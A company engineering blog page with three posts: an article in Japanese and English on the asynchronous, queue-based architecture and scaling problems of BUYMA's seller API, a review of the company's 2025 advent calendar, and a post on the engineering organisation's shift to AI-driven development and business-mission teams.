こんにちは、エニグモのフェルナンドです。
SELLチームに所属し、出品者向け機能の開発を担当しています。

今回は、私たちのチームで運用している「PS-API」についてご紹介します。
日々増え続けるリクエストをどのように処理しているのか、そのアーキテクチャの裏側についてお話ししたいと思います。

👉 English version is also available below.

BUYMAでは、パーソナルショッパー(出品者)が商品を出品する方法がいくつかあります。 マイページから直接商品を登録する方法もあれば、CSVインポートを使って一括登録する方法もあります。 さらに、自社システムを運用している大規模なパートナーや事業者向けには、Personal Shopper API(通称:PS-API)を利用した連携手段も提供しています。 運用要件によっては、より深いカスタム連携を行うケースもあります。

これらの機能を利用する出品者が増えるにつれて、PS関連システムの保守・改善は、楽しくもあり、同時にとてもチャレンジングなものになっていきました。

出品方法の概要:My Page、CSVインポート、PS-API、カスタム連携

今回は、PS-APIについて紹介します。PS-APIがどのように動いているのか、なぜ非同期APIとして設計したのか、そしてマイクロサービスと大規模なモノリスをつなぐシステムを運用する中で学んだリアルな教訓について共有します。

PS-APIの目的:BUYMAのコアプラットフォームへの連携レイヤー

BUYMAはマーケットプレイスであり、商品登録は出品者にとって重要な日常業務のひとつです。 大量の商品を管理している出品者にとって、1件ずつ手動で商品を登録するのはとても大きな負担になります。 CSVインポートでその負担を減らすことができますが、在庫・価格・商品情報を自社システムで管理しているパートナーにとっては、API連携が自然な選択肢になります。

そこで登場するのがPS-APIです。

PS-APIでは、出品者が以下のような操作を行えます。

  • 商品の登録・更新
  • 在庫やバリエーションの管理
  • 注文情報の取得
  • 発送依頼の処理

PS-APIは、出品者側のシステムとBUYMAのコアプラットフォームをつなぐ、強固な連携レイヤーとして機能しています。

PS-APIは、出品者システムとBUYMAのコアプラットフォームをつなぐ連携レイヤー

課題:マイクロサービスと既存モノリスの連携

BUYMAの主要な業務処理の多くは、現在もメイン環境、つまり巨大なモノリシックなシステム上で動いています。 一方で、PS-APIはモダンなマイクロサービスとして実装されています。

私は以前にサーバーレス開発の経験はありましたが、大規模なマイクロサービスアーキテクチャに本格的に関わるのはこれが初めてでした。 キュー、ワーカー、リトライ、サービス間通信、Webhook配信といった分散システムの世界に入っていくのは、本当に、とても勉強になりました。

PS-APIとBUYMAメインシステムのアーキテクチャ概要

※ アーキテクチャは、おおまかに言うとこのような構成になっています。

ここで重要な設計思想は次の点です。

  • PS-APIは最終的な処理先ではない
  • 外部システムとBUYMAのモノリスをつなぐ「オーケストレーションレイヤー」である

なぜ非同期処理なのか

PS-APIにおける最大の設計判断のひとつが、多くの処理を非同期にしたことです。 出品者が商品登録リクエストを送信した場合、システムはすべての処理を同期的に実行して、最終結果を即時で返すわけではありません。

代わりに、次のような流れをたどります。

  1. リクエストを受け付ける
  2. 処理用のキューに積む(即時レスポンス)
  3. BUYMA側で後続処理を行う(ワーカーによる非同期処理)
  4. 最終結果をWebhookで返す

この方式には、決定的なメリットがあります。

1. トラフィックスパイクの吸収

出品者は、ときどき大量のリクエストを一斉に送信します。 ここで言う「大量」とは、監視ダッシュボードが悲鳴を上げるレベルの量です。

非同期キューを使うことで、急激なトラフィック増加をそのままコアシステムに流し込むのではなく、一度バッファとして受け止めることができます。 リクエストは順番を待ち、システムが耐えられる制御されたペースで処理されます。 最終的な商品登録処理がBUYMAのメインシステムに依存しているため、このバッファリング層は非常に重要な役割を担っています。

非同期キューにより、外部からの大量リクエストを一度バッファリングする

2. 障害時のグレースフル・デグラデーション(確実なリカバリー)

下流システムが一時的に利用できない場合でも、出品者が同じリクエストを手動で再送する必要はありません。 リクエストは安全にキューに残り、下流システムが復旧したあとに自動で処理を再開できます。

ユーザーに「成功するまで何度もリトライしてください」とお願いするより、はるかに健全です。 アプリへの信頼を完全に失ってしまう前、システム側で吸収できることは吸収すべきです。

3. コアプラットフォームの保護

商品登録や注文関連の主要な処理は、BUYMAのモノリシックなメイン環境で実行されています。 そのため、このコアシステムを過負荷から慎重に保護する必要があります。

PS-APIが外部トラフィックを受け止め、モノリス側へリクエストを渡すペース(スループット)を制御します。 これは、マイクロサービスの柔軟性と、モノリスの安定性を両立するための設計です。

gRPCとSQS:通信方式の適材適所

PS-APIでは、すべての通信を同じ方法で扱っているわけではありません。 処理の性質、つまり即時性が必要か、耐久性が必要かに応じて、gRPCとAmazon SQSを明確に使い分けています。

gRPC

gRPCは主に、即時のレスポンスが必要な内部サービス間通信で利用しています。 これは、PS-APIが現在の処理を続行する前に、信頼できる内部レスポンスを必要とするケースです。

たとえば、以下のような用途で使っています。

  • パートナーシステムとLive PS-API間の通信
  • パートナーシステムとSandbox PS-API間の通信
  • ブランド情報やカテゴリ情報などのマスターデータ取得

SQS

一方で、より重い業務処理にはSQSベースの非同期処理を利用しています。 たとえば、BUYMAのメインシステムと連携する以下のような処理です。

  • 商品登録・更新
  • 注文の発送依頼処理

なぜこの設計がうまく機能するのか

gRPCとSQSを組み合わせることで、それぞれの通信方式を多様な場面で使うことができます。 gRPCは、高速な内部リクエスト・レスポンス通信に、SQSは、耐久性のある非同期業務処理に使います。

特徴 gRPC SQS(非同期キュー)
主な用途 内部サービス間の直接通信 重い業務処理、モノリス連携
処理モデル 同期的(即時レスポンス待ち) 非同期的(Event-Driven)
メリット 高速、型安全(Protobuf)、明確な契約 耐久性、リトライ容易、スパイク吸収
具体例 マスターデータ(ブランド/カテゴリ)取得 商品の登録・更新、発送依頼処理

SQSとWebhookによる非同期ループの完成

重い処理はSQSを利用します。リクエストを受け付けると、ペイロードを保存し、その後の業務処理をワーカーが非同期で進めます。

重要なのは、SQSは「処理の完了イベント」にも利用されている点です。 商品登録が完了すると、その結果がキュー経由でPS-APIに返され、そこから出品者へWebhookレスポンスが送信されます。 Webhookは単なるAPIの即時レスポンスではなく、非同期処理の最終通知なのです。

gRPC、SQS、WebhookによるPS-APIの通信フロー

この区別には、いくつかのメリットがあります。

  • BUYMAのメインシステムを急激なトラフィック増加から保護できる
    多くの出品者が同時に商品更新リクエストを送った場合でも、リクエストをキューに積み、段階的に処理できます。
  • 信頼性が向上する
    下流システムの一部が一時的に利用できない場合でも、リクエストが消えてしまうことはなく、出品者がすべてを手動で再試行する必要もありません。
  • スケールしやすい基盤になる
    APIリクエストの受付、キュー処理、Webhook配信をそれぞれ個別に改善できます。

本当の課題:スケール

PS-APIは当初、小規模なユースケースを想定して設計されていたため、現在のトラフィック規模にはそぐわなくなっています。

サービスの普及に伴い、APIを利用する出品者数とリクエスト数が急増しました。このスケールアップに伴い、スケーラビリティや運用面でいくつかの課題が表面化してきました。

  • レートリミット
  • キューのボトルネック
  • 処理状況の可視性
  • 「リクエストは成功したのに、商品はどこにありますか?」という問い合わせ

この最後の質問に対する答えは、時々こうなります。

“技術的には……まだキューのどこかにあります。”

または、

“Webhookはエラーメッセージ付きで送信されました。”

非同期システムの運用は、設計するよりもずっと面白くなってくるのがこのあたりです。 APIを作ること自体ももちろん大変です。 しかし、リクエストが今どの処理段階にあるのかを、関係者全員が理解できるようにすることは、また別の難しさがあります。 そして多くの場合、後者の方が難しいです。

非同期システムに潜む複雑さ

外から見ると、APIリクエストはとてもシンプルに見えます。

POST /api/v1/products.json

しかし内部では、実際には以下のような複雑なパイプラインが走っています。

API
→ バリデーション
→ データベース
→ キュー
→ ワーカー
→ ストレージ
→ 画像ダウンロード
→ 後続処理(または「下流プロセッサ」)
→ 完了イベント
→ キャッシュ無効化
→ Webhook配信

APIは、単なるエンドポイントというより、空港の手荷物管理システムのようになっていきます。
システムは信頼されている。でも、リクエストが今どこにあるのかを完全に把握するのは難しい――そんな世界です。

オンプレミスからAWSへの移行

出品処理におけるデータベースのトランザクション速度を改善するうえで、大きな転機となったのがインフラのAWS移行とDBアップグレードです。AWSのリソースを活用することで、DB接続の安定性や処理性能が向上し、インポート速度も改善されました。

もちろん、AWSへ移行したりDBをアップグレードしたりしたからといって、すべてのボトルネックが簡単に消えるわけではありません。それでも、DB接続の安定性やトランザクション処理速度の改善は、非同期処理全体のパフォーマンスに大きく影響します。

今後も改善していくこと:本当の「スケール」に向けて

PS-APIはもともと少数のユーザーを想定して作られていましたが、その想定も今は昔です。 現在も、出品者が安心して運用を任せられる強固な基盤を目指し、以下の領域を継続的に改善しています。

  • より良いレートリミット戦略の実装
  • リクエスト状態の可視性向上
  • 画像ダウンロード処理の高速化とワーカーのオートスケーリング
  • 技術的な専門知識がない出品者でも、スムーズに連携を開始できるようPS-APIドキュメントを拡充
  • モノリスとマイクロサービスをまたぐ運用の改善

私たちの目標は、単に大量のリクエストを「受け付ける」ことではありません。 数千件規模のスパイクにも安定して対応し、出品者のビジネスを裏から確実に支える、真に信頼できるAPIシステムへ進化させ続けることです。

注記: 本記事内の画像は、内容をわかりやすく表現するためにAIで生成したイメージ画像です。


Building for Scale: Inside the Event-Driven Architecture of the BUYMA Personal Shopper API

Good day, I’m Fernand from Enigmo.
I’m part of the SELL team, where I work on developing features that support sellers.

This time, I’d like to talk about “PS-API,” a system operated by our team. I’ll share some insights into the architecture behind it and how we handle the continuously growing number of requests every day.

At BUYMA, personal shoppers have several ways to list products on the platform. Some sellers manage listings directly from My Page. Others use CSV import for bulk operations. For larger partners and businesses that operate their own systems, we also provide integration options through the Personal Shopper API, or PS-API. In some cases, we even support deeper custom integrations depending on the seller’s operational needs.

As more sellers began using these features, maintaining and improving the PS systems became both fun and challenging.

Listing options: My Page, CSV import, PS-API, and custom integrations

This time, I would like to introduce PS-API: how it works, why we designed it as an asynchronous API, and what we learned from operating a system that connects a microservice with a large monolithic platform.

Purpose of PS-API

BUYMA is a marketplace where product registration is one of the most important daily operations for sellers. For sellers managing large catalogs, manually listing products one by one quickly becomes painful. CSV import helps, but for partners that already manage inventory, pricing, and stock through their own systems, API integration becomes the natural next step.

That is where PS-API comes in. It allows sellers to:

  • create and update products
  • manage stock and variants
  • receive order information
  • handle shipment requests

PS-API acts as an integration layer between personal shoppers’ systems and BUYMA’s core platform.

PS-API connects seller systems with BUYMA’s core platform

The Challenge: When a Microservice Meets a Monolith

Most of BUYMA’s core business processes still run in the main environment, which is a monolithic system. PS-API, however, was implemented as a microservice.

Although I had experience with serverless development before, this was my first time working on a microservice architecture. Moving into a world of queues, workers, retries, internal service communication, and webhook delivery was very educational. Very educational...

※ The architecture looks something like this.

High-level architecture of PS-API and BUYMA’s main system

The key point here is:

  • PS-API is not the final destination.
  • It is the orchestration layer between external personal shopper systems and BUYMA’s platform.

Why Asynchronous Processing

One of the biggest design decisions in PS-API was to make many operations asynchronous. When a seller sends a product registration request, the system does not process everything synchronously and immediately return the final result.

Instead:

  1. The request is accepted.
  2. It is queued for processing.
  3. BUYMA processes it downstream.
  4. The final result is sent back via webhook.

This approach gives us several important advantages.

1. Handling Traffic Spikes

Sellers sometimes send bulk requests. And by “bulk,” I mean enough requests to make the monitoring dashboard emotionally unavailable.

With asynchronous queues, sudden traffic spikes can be absorbed without immediately overwhelming the core system. Requests can wait in the queue and be processed at a controlled pace. This is especially important because the final product registration still depends on BUYMA’s main system.

synchronous queues buffer sudden request spikes before they reach the core platform

2. Better Failure Recovery

If a downstream system is temporarily unavailable, sellers do not need to resend the same request manually. The request can remain in the queue, and processing can resume once the downstream system recovers.

This is much better than asking users to keep retrying until they lose faith in the service entirely.

3. Protecting the Core Platform

Because the main product registration and order processes still happen inside BUYMA’s monolithic environment, we need to protect that system carefully.

PS-API absorbs external traffic and controls how requests are passed to the core platform. This allows the monolith to process requests at a safer and more predictable pace.

Microservice optimism meets monolith realism.

gRPC and SQS: Choosing the Right Communication Style

In PS-API, not all communication is handled in the same way. Some processes require quick, direct communication between internal services. Other processes need durable asynchronous execution because they may take longer, depend on the BUYMA core platform, or require retries.

For that reason, we use both gRPC and SQS, depending on the characteristics of each process.

gRPC

We mainly use gRPC for internal service-to-service communication where an immediate response is required. These are cases where PS-API needs a reliable internal response before continuing the current process.

  • BUYMA Partners System ↔ Live PS-API communication
  • BUYMA Partners System ↔ Sandbox PS-API communication
  • Retrieving master data, such as brand data and category data

Using gRPC gives us several advantages:

  • fast internal communication
  • clear service contracts through protobuf definitions
  • better type safety between services
  • predictable request-response behavior

SQS

For heavier business operations, we use SQS-based asynchronous processing. This includes communication with BUYMA’s main system for operations such as:

  • product listing and update
  • order shipment request processing

These operations eventually affect BUYMA’s core platform, where product and order data are actually processed. Instead of forcing the original API request to wait until all downstream processing is complete, PS-API accepts the request, stores the payload, and lets the business process continue asynchronously.

SQS is also used for process completion events. For example, after product listing or product update processing is completed, the completion result is sent back through the queue. PS-API then imports the result and sends the appropriate webhook response to the seller system.

This is an important point: webhook delivery is not simply a response to the original API request. It is the final notification after asynchronous processing has completed.

gRPC, SQS, and Webhook complete the asynchronous processing loop

Why This Design Works Well

Using gRPC and SQS together allows each communication pattern to be used where it fits best. gRPC is used for fast internal request-response communication. SQS is used for durable asynchronous business processing.

This separation gives us several benefits.

  • It protects BUYMA’s main system from sudden traffic spikes.
    If many sellers send product update requests at the same time, those requests can be queued and processed gradually.
  • It improves reliability.
    If part of the downstream system is temporarily unavailable, requests do not simply disappear, and sellers do not need to retry everything manually.
  • It gives us a better foundation for scaling.
    API request handling, queue processing, and webhook delivery can each be improved separately.

This combination is one of the key reasons PS-API can operate as a bridge between external seller systems and BUYMA’s existing core platform.

The Real Challenge: Scale

Originally, PS-API was intended for a relatively small number of users.
That assumption aged beautifully.

As adoption increased, both the number of sellers and the number of requests grew significantly. With that growth came several familiar challenges:

  • rate limits
  • queue bottlenecks
  • processing visibility issues
  • inquiries like “The request succeeded, but where is my product?”

The answer to that last question is sometimes:

"Technically… somewhere in the queue."

Or:

"The webhook was already sent, along with an error message."

This is where operating asynchronous systems becomes much more interesting than designing them. Building the API is one thing. Helping everyone understand the flow of request is another. And usually, that is the harder part.

The Hidden Complexity of Async Systems

From the outside, an API request may look simple:

POST /api/v1/products.json

But internally, the flow may look more like this:

API
→ validation
→ database
→ queue
→ worker
→ storage
→ image download
→ downstream processor
→ completion event
→ cache invalidation
→ webhook delivery

At some point, API starts looking less like an endpoint and more like airport baggage handling. Everyone trusts the system. No one is entirely sure where the suitcase is.

From On-Premise to AWS

One major improvement came from moving our infrastructure from on-premise servers to AWS, along with upgrading the database. This improved the transaction speed of import-related database operations.

Of course, moving to AWS and upgrading the database did not magically remove every bottleneck. Software remains committed to teaching humility. However, it gave us a much stronger foundation, especially for asynchronous processing. For systems that depend heavily on queues, workers, and scalable processing capacity, infrastructure flexibility matters a lot.

What We Are Still Improving

Even after these improvements, scalability remains an ongoing challenge. The API layer can scale relatively well, but many core processes still depend on the main environment, where scaling is naturally more difficult.

We are continuing to improve areas such as:

  • better rate-limit strategies
  • faster image download processing
  • autoscaling for workers
  • better visibility into request status
  • smoother operations across monolith and microservice boundaries
  • expanded PS-API documentation so that even sellers without technical expertise can smoothly start integrating with the platform

The goal is not simply to accept the request. The real goal is to make PS-API a system sellers can rely on and one that can handle thousands of requests.

Note: The images in this article were created using AI-generated visuals and are intended for conceptual illustration.

hrmos.co

エニグモのアドベントカレンダー2025の振り返りと運営の工夫

こんにちは。
エニグモ採用担当の戸井です。

普段は中途採用や採用広報を担当していますが、主にエンジニア採用を担当している関係で、エンジニア組織の「Developer Relations(DevRel)チーム」にも所属しています。
DevRelチームはエンジニア組織のアウトプット促進や勉強会の運営やイベントサポートなどを行っており、その一環としてアドベントカレンダーの運営にも携わっています。

この記事では昨年実施したアドベントカレンダー全体の振り返りと、運営の取り組みについて紹介します。

アドベントカレンダーとは?

元々は、クリスマスまでの日数をカウントダウンするために使われるカレンダーで、12月1日からはじまり、25個ある「窓」を毎日1つずつ開けて中に入っている小さなお菓子やプレゼントを楽しむものです。
その慣習から、12月1日から25日まで毎日ブログ記事を公開するイベントとして、特にWeb業界やエンジニア界隈で広く親しまれています。

2025年のエニグモアドベントカレンダーはこちらです。
https://qiita.com/advent-calendar/2025/enigmo

2025年アドベントカレンダー全体の振り返り

エニグモのアドベントカレンダーは2018年よりスタートし、2025年で開催8回目となりました。
当初はエンジニア・テック系職種を中心とした取り組みでしたが、2022年からは全社イベントとして、職種問わず誰でも参加できる形で運営しています。

参加メンバーの傾向

2025年も、エンジニアを中心にさまざまな職種のメンバーが参加しました。

(内訳)
【エンジニア職種】
サーバーサイドエンジニア、インフラエンジニア、データエンジニア、検索エンジニア、データサイエンティストなど
【ビジネス職種】
マーケティング、データアナリスト、UI/UXデザイナー、管理部門など

技術系職種を中心としつつも、データ・デザイン・コーポレートなど、複数の部門から参加があり、職種横断でのアウトプットの場となりました。

また、参加回数の観点では、初めて参加するメンバーが全体の約4割を占めていました。
一方で、複数回参加しているメンバーや皆勤賞のメンバーもおり、継続的にアウトプットの場として活用されている点も特徴です。
アドベントカレンダーを一年間の振り返りやナレッジの棚卸しの機会として活用しているメンバーも多いです。

記事のテーマ・カテゴリ

記事のカテゴリーを以下の4つに分類し、集計を行いました。

・技術発信
・プロジェクト紹介
・組織・カルチャー
・入社エントリ・自己紹介
2025年は、技術発信の記事が全体の多くを占めており、エンジニアリングに関する知見の共有が中心となりました。
他にも組織やカルチャー、プロジェクト紹介、入社エントリ・自己紹介といったテーマの記事も投稿されています。

技術に限らず、個人の経験や組織の取り組みなど、多様な切り口での発信が行われたことも特徴です。 

「Advent Calendar Award」受賞記事

「Advent Calendar Award」はエニグモのアドベントカレンダーをさらに盛り上げるために実施しており、特に多く読まれた記事を表彰しています。
2025年の受賞記事は以下の通りです。

6位 アジャイルは会社ごとに別物。でも、あるあるは共通だった(BUYMA TRAVEL Webエンジニア)
5位:ローコードAIツールDifyをエンジニアが使ったら?コードブロックでハマった7つの落とし穴(データサイエンティスト)
4位:エニグモのオンボーディング:他部署体験プログラムを紹介します!(採用・採用広報担当)
3位:人事からデータアナリストへ。社内公募で兼務し始めて3ヶ月の振り返り(人事兼データアナリスト)
2位:AWSにおけるコスト削減の考え方(インフラエンジニア)
1位:Ruby on Rails アプリのパフォーマンス最適化10選(バックエンドエンジニア)

運営の取り組み

アドベントカレンダーの運営では、キックオフの実施タイミングや日々のリマインド、ガイドライン整備、執筆・レビューの進め方など、運営に関わる各プロセスを毎年アップデートしています。

また、当社のメイン事業である海外ファッションEC「BUYMA」では、年末に向けた大型セールや需要の高まりにより、12月は特にサイトへのアクセスや取引が増える時期です。
それに伴い、エンジニア側でも重要なリリースや対応が重なるタイミングとなります。

そのため、アドベントカレンダーも参加メンバー・運営側の双方にとって、無理なく継続できるよう運営を設計しています。

ここでは、こうした背景を踏まえつつ、今年特に注力した取り組みについて紹介します。

ここ2〜3年で入社したメンバーの中には、アドベントカレンダーへの参加経験がない方や、テックブログ執筆が初めての方も一定数いました。
そのため、「初めてでも参加しやすい状態をつくること」を意識しました。

具体的には、エニグモで初めてテックブログを書く方向けに、記事のテーマの考え方や執筆の進め方を解説するレクチャー会を実施しました。

レクチャー会では、以下のような内容を扱いました。

  • 記事を書く目的の共有
  • テーマの考え方
  • 記事の構成や書き方

レクチャー会の資料
テーマの考え方を説明した後は、実際に記事を書き進める際の流れについても、画面共有でデモンストレーションを行いました。
テーマ決定から情報整理、構成作成、リード文やタイトル作成までの流れをステップごとに分解し、「どのように記事を組み立てていくのか」をイメージできるようにしています。

また、ワークショップ形式を取り入れ、参加者がチームに分かれてテーマの検討や構成作成に取り組みながら、相談やディスカッションを行う時間を設けました。

ワークの中では、
* どのようなテーマを選んだか
* テーマ設定で悩んだポイント
* 書こうとしている内容や構成
* 書く中で詰まりそうな点
などを共有しながら進めてもらいました。

最後には全体でテーマや悩みを共有する時間も設け、他のメンバーの視点に触れることで、「自分の経験も記事になる」という実感につながるよう設計しました。

また、全体向けのレクチャーに加え、特に入社間もないメンバーに対しては個別に声がけを行い、テーマ設定や執筆の進め方についてフォローを行いました。
ショートミーティングを実施し、これまでの業務や担当プロジェクトを振り返りながら、その中にある技術的な工夫や、入社直後だからこそ気づけた改善点などをテーマとして言語化するサポートを行いました。

運営を通じた振り返り

今回は、例年の運営フローをベースにしながらも、初めて参加するメンバーへのサポートを強化したことが特徴でした。

その結果、新たに参加したメンバーが増えたことは、運営面でも大きな収穫だったと考えています。

レクチャー会に参加したものの、今回のアドベントカレンダーには参加できなかったメンバーも、「自分の経験でも記事を書けそう」「いつか書いてみたい」と感じるきっかけになっていれば、次回以降の参加につながる土台にはなっていると考えています。

アドベントカレンダーは年に一度の期間限定イベントではありますが、こうした毎年の積み重ねが、継続的なアウトプット文化を広げる大きなきっかけになると感じました。

また、今回の運用を通じて、いくつか改善したいポイントもあります。

まず、公開前のレビューが一部のメンバーに集中する場面がありました。
今後は、レビュー観点を整理したテンプレートの整備や、AIを活用したレビュー支援なども検討し、よりスムーズに進められる体制を整えていきたいと考えています。

また、アドベントカレンダーに限らず、継続的に発信しやすい状態をつくることも重要だと感じています。
そのため現在は、日常的なアウトプットを促進する仕組みづくりにも取り組んでいます。

さいごに

2025年もエニグモのアドベントカレンダーは、無事25日完走することができました。
従来の運営フローをベースにしつつ、初めて執筆するメンバーへのサポートを強化したことで、新しい参加の広がりにもつながりました。

今後も、より継続的に情報発信しやすい運営を目指していきます。

これからのエニグモ開発者ブログの発信を、ぜひご覧いただけると嬉しいです。

AI駆動開発とベンチャー回帰で創る次世代エンジニア組織

こんにちはVPoEの木村です。

会社として新年度を迎え少し経ちましたが、先月頭、エンジニア組織の今期以降の運営方針を社内向けに発表しました。今回はその方針について、ブログでもご紹介したいと思います。 テーマは「AIの最大活用〜新開発フロー・体制へ移行〜」「ベンチャー回帰〜ビジネス成果への直接貢献〜」です。

先期の振り返り
 〜再確認した内製エンジニア組織としての存在意義とAIの力〜

先期を振り返る時に欠かせないトピックとしてまず挙げられるのが、大規模メンテナンスを実施し、BUYMAのインフラ基盤をオンプレからAWSへ移行したことです。 事前に最大限リスクを取り除く努力はしたものの、一定のリスクを伴うビッグバン方式での移行になりましたが、やり遂げた後としては、なんとか力技で捩じ伏せることができたようなベンチャー感を思い出す感覚がありました。

長年運営してきたサービスの癖やパターンを知り尽くし、何があってもサービスを動かし続けてきた内製エンジニア組織だからこそ採れたアプローチだと思います。 また、時間的・人員的なリソースも十分とは言えないなかでも、AIをカウントされないプロジェクトメンバーとして、移行日直前に「本当はやりたいけど時間がない」という追い込みの作業を実現したり、移設中・直後の不具合調査の高速化などに活用することができました。

AI活用についてはそれ以外にも業務面、プロダクト面にも進み、リリースできた様々な機能追加や改善を振り返ると、数年分の成果を1年に詰め込んだような実りの多い期だったと感じます。今期はそんな成功パターンを組織全体へスケールさせていくため、「AIの最大活用」と「ベンチャー回帰」をテーマに前年踏襲をやめ、ドラスティックな方針転換を図ります。


方針1:AIの最大活用 〜新開発フロー・体制へ移行〜

「AIに仕事を奪われるのでは?」という漠然とした不安を持つのではなく、「全員でAI武装し『アベンジャーズ』になろう」というのが私たちのスタンスです。AIをフル活用可能な開発フローと体制に移行していきます。

新開発フロー

単なる作業の効率化にとどまらず、再構築された価値提供のパイプラインを生み出すために、下図のとおり全く新しいAI駆動開発フローへの移行を進めます。

AI駆動開発フロー

新開発フローのステップは以下の通りです。

  1. 設計(人間+AI): Notion上でドキュメント作成。Notion AIを活用してPRD、要件定義書、タスク分解・計画を生成します。
  2. 仮実装(AI単独): ドキュメントをコンテキストとして、AIがIssueを立ててブランチ作成、実装、Pull Request作成までを完全自動化します。
  3. 本実装(人間+AI): 仮実装をチェックアウトし、Cursorを活用してローカルで動作確認・仕上げを実施します。
  4. レビュー(AI→人間): AIによる静的解析と事前レビューを通過したものだけを人間がレビューします。

本フローを構築していくにあたり、細かいツールや技術選定は詰めていく必要はあるものの、ナレッジ管理ツールとして利用していたesaと、プロジェクト管理ツールとして利用していたRedmine/JiraはNotionへ移行・統合していきます。また、コード管理・CI/CDの基盤としてセルフマネージドでGitLabを利用してきましたが、生成AIのエコシステムへの統合がより進んでいるGitHubへと移行します。

このフローでは2の仮実装という、AIにより完全自動化されたステップが組み込まれていることがポイントです。これにより下図のように実装時の調整やQAでの不具合はすべてドキュメントにフィードバックされ、ドキュメントの成熟とともにAIで完全自動化されたステップの精度が向上し、全体が省力化され続けるサイクルを構築します。

AI駆動開発成熟の仕組み

新開発体制へ

また、AIの支援により、今後は誰もが「知識のフルスタック化」を実現できる時代です。1人のマネージャーが複数チームをマネジメントするのはもちろん、フロントエンドエンジニアがバックエンドも含めてリードするなど、単独でもユーザーに価値提供できる「PM兼アーキテクト」として振る舞える人材を増やしていきます。

フルスタックへの回帰・フルサイクルへの挑戦

これはこれまで分業化や専門性特化のチームを作ってきた流れからの方針転換となり、個人やチームのフルスタック化フルサイクル化を進めていきます。


方針2:ベンチャー回帰 〜ビジネス成果への直接貢献〜

AIによってデリバリー(実装)が超効率化されていく今後、エンジニアは浮いたリソースで何を目指すべきでしょうか? その答えが「ベンチャー回帰」です(2000年代創業の弊社としては、スタートアップというよりベンチャーという言葉がしっくりきます)。

フィーチャーチームからミッションチームへ

これまで、部としてはプロダクト開発のエンジニアをドメインと呼ばれる3つのチームに分けて運用してきており、それらは単に開発・運用する機能が割り振られた括りでしかありませんでした。 しかし今期からは、すべてのドメインがユーザーに直接届く「ビジネスミッション」を持つ体制へと方針転換します。

  • BUY: 購入者を強力に吸い上げ、集客とCVRを最大化する。
  • SELL: 世界中から商品を力強く吸い上げ、品揃えを最大化する。
  • SERVICE INFRA (SI): 決済や安心補償などの機能を提供し、ユーザーへの提供付加価値を最大化する。

単なる機能開発ではなく、全員が事業のKPIに直結したミッションを追い求める。この構造こそが、私たちの目指す真のベンチャー回帰の姿です。

新キャリアラダーを設計

また、全員がビジネス成果にコミットする組織へ進化するため、エンジニアのキャリアラダー(評価軸)もアップデートしました。従来の「デリバリー」中心の評価から、以下の6つの軸による評価へと拡張しています。

  • アウトカム :事業成果に接続した意思決定ができているか。
  • ディスカバリー :ユーザーの課題を正しく再定義できるか。
  • デリバリー: 設計〜実装〜テスト〜リリースを安定して回せるか。
  • 運用:SLO/障害/コスト/セキュリティを背負えるか。
  • コラボレーション(協働) :チームビルディングや他職種との協働。
  • レバレッジ : 仕組み化・標準化により、組織全体の生産性を引き上げる力。

実はこの6軸は、元々「AI時代に合わせよう」として作ったものではありません。先期の振り返りで再認識した「外部パートナーにはできない、内製エンジニア組織ならではの価値とは何か?」を徹底的に言語化した結果生まれたものです。

しかし興味深いことに、「内製組織の本質」を追求したこの6軸は、AI活用が進む時代にエンジニアに求められると思われるスキルセットとしてみても全く不自然ではありませんでした。

例えば、AIで簡単にモノが作れるようになったからこそ、「どこまでこだわるべきか」を事業成果から逆算するアウトカムや、本質的なユーザー課題を見極めるディスカバリーの重要性が増しています。また、AIには代替できない人間同士の高度なコラボレーションも不可欠です。

中でも「レバレッジ」は、次世代エンジニアのコアとなる概念です。日々の案件を無事にデリバリーするだけでなく、「AI駆動開発を実現し、価値提供のパイプライン自体を自分たちで構築・改善する(仕組みを創る)」ことが求められます。この仕組み作りは専任チームに任せるのではなく、各チーム自らが構築し、組織全体をブーストさせる姿勢を高く評価します。

まとめ

以上が、今期からのエンジニア組織の新しい運営方針です。

今のエニグモの環境で「事業にコミットし、AIで開発パイプライン自体を創り上げる」という経験は、こちらの記事でも語られているどこに行っても通用する非常に高い市場価値につながると確信しています。

この方針は決して理想を描いただけではありません。先期のAI活用の実績という裏付けがあり、NotionやGitHub、AIコーディングエージェントを全社で導入するための予算もしっかり確保してスタートしています。

「いつかできたら」ではなく「今年できる」。今期もこのスローガンを胸に、圧倒的な成果を生み出す1年に していきたいと思います。